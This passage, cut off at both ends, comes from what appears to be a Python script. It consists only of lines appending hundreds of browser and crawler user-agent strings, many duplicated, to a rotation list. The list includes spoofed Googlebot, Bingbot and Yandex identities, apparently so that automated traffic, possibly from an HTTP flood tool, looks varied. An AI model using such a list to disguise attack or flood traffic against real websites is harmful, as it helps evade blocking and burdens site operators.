rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 